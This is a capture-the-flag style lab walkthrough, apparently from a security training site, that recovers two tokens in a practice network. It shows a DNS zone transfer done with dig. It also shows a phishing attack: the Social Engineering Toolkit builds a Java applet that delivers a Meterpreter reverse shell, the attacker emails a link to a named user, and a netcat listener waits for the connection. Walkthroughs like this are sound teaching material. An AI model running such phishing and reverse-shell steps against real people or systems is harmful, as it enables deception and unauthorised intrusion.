Test Lab V8: Recon and Dev-test
This is the last part of our Test Lab solutions in this article we are going to find two tokens from Recon and Dev-test system. Recon is not any system in the network we will find this token from DNS reconnaissance.
FREE role-guided training plans
Attacking the Recon: So we started with the zone transfer on both gateway IPs: 192.168.101.6, 192.168.101.7 by using dig tool but we didn't find any valuable output. Then we tried to use the dig tool from a different system where we have shell access. CABINET is the first system where we uploaded our very first shell and rooted the system. We ran the dig tool by using the following command: dig @192.168.101.7 sas-bank.lab -t axfr
And we found the token in the output.
Attacking the Dev-test: This is the last system in the network which is pending right now. If we remember the mail we found during solving the Email system:
"Hi!
We have some problem with the certificate to signing java applets.
So, in the Java settings you need to add host 172.16.0.3 to the Java exceptions.
And you will see some java pop up notification, it is ok, put a tick and run it."
From the above email, it seems like it is allowing to run Java applets on the system. We can create a Java applet which opens a Meterpreter session. We will use Social Engineering Toolkit for creating a Java applet based payload. Type sudo setoolkit from the terminal to launch social engineering toolkit.
Select 1 for Social - Engineering Attacks
Select 2 for Website Attack Vectors
Select 1 for Java Applet Attack Methods
Select 1 for Web Templates
It will ask for NAT/ Port Forwarding type no for that prompt
Set you local system's IP for reverse shell connection
Select 2 for use the applet built into SET
Select 1 for Java Required
Select 1 for Meterpreter Memory Injection
Set PORT no 443 for listening to the reverse connection
Select for 1 for Windows Meterpreter Reverse TCP
This will create the files into /var/www/html
We need to upload the files into/var/tmp of ssh-dev because there is a cron job which copy the whole directory into /var/www folder. By using wget command upload the files from our local system in SSH-Dev's tmp folder
Send an email to leroydeschamp@sas-bank.lab with http://10.10.X.X/index.html as subject and email text. Listen on port 443 locally:
sudo nc -lvp 443
Wait some minutes and when meterpreter session is spawned type:
shell
It will be prompted to Windows CMD and need to find the token. Navigate to
C:UsersdeschampDesktop with the cd command.
Then type: dir
I get the list of files. There is token.txt.txt. Just execute:
What should you learn next?
type token.txt.txt
In this Series
- Test Lab V8: Recon and Dev-test
- Top 10 Linux distro for ethical hacking and penetration testing
- Penetration testing steps: How-to guide on pentesting
- How does automated penetration testing work?
- Intelligence-led pentesting and the evolution of Red Team operations
- Red Teaming: Taking advantage of Certify to attack AD networks
- How ethical hacking and pentesting is changing in 2022
- Ransomware penetration testing: Verifying your ransomware readiness
- Red Teaming: Main tools for wireless penetration tests
- Fundamentals of IoT firmware reverse engineering
- Red Teaming: Top tools and gadgets for physical assessments
- Red teaming: Initial access and foothold
- Top tools for red teaming
- What is penetration testing, anyway?
- Red Teaming: Persistence Techniques
- Red Teaming: Credential dumping techniques
- Top 6 bug bounty programs for cybersecurity professionals
- Tunneling and port forwarding tools used during red teaming assessments
- SigintOS: Signal Intelligence via a single graphical interface
- Top tools for mobile android assessments
- Top tools for mobile iOS assessments
- Red Team: C2 frameworks for pentesting
- Inside 1,602 pentests: Common vulnerabilities, findings and fixes
- Red teaming tutorial: Active directory pentesting approach and tools
- Red Team tutorial: A walkthrough on memory injection techniques
- Python for active defense: Monitoring
- Python for active defense: Network
- Python for active defense: Decoys
- How to write a port scanner in Python in 5 minutes: Example and walkthrough
- Using Python for MITRE ATT&CK and data encrypted for impact
- Explore Python for MITRE ATT&CK exfiltration and non-application layer protocol
- Explore Python for MITRE ATT&CK command-and-control
- Explore Python for MITRE ATT&CK email collection and clipboard data
- Explore Python for MITRE ATT&CK lateral movement and remote services
- Explore Python for MITRE ATT&CK account and directory discovery
- Explore Python for MITRE ATT&CK credential access and network sniffing
- Top 10 security tools for bug bounty hunters
- Kali Linux: Top 5 tools for password attacks
- Kali Linux: Top 5 tools for post exploitation
- Kali Linux: Top 5 tools for database security assessments
- Kali Linux: Top 5 tools for information gathering
- Kali Linux: Top 5 tools for sniffing and spoofing
- Kali Linux: Top 8 tools for wireless attacks
- Kali Linux: Top 5 tools for penetration testing reporting
- Kali Linux overview: 14 uses for digital forensics and pentesting
- Top 19 Kali Linux tools for vulnerability assessments
- Explore Python for MITRE ATT&CK persistence
- Explore Python for MITRE ATT&CK defense evasion
- Explore Python for MITRE ATT&CK privilege escalation
- Explore Python for MITRE ATT&CK initial access
- Top 18 tools for vulnerability exploitation in Kali Linux
Get certified and advance your career!
- Exam Pass Guarantee
- Live instruction
- CompTIA, ISACA, ISC2, Cisco, Microsoft and more!
Penetration testing
Top 10 Linux distro for ethical hacking and penetration testing
Penetration testing
Penetration testing
Penetration testing
Intelligence-led pentesting and the evolution of Red Team operations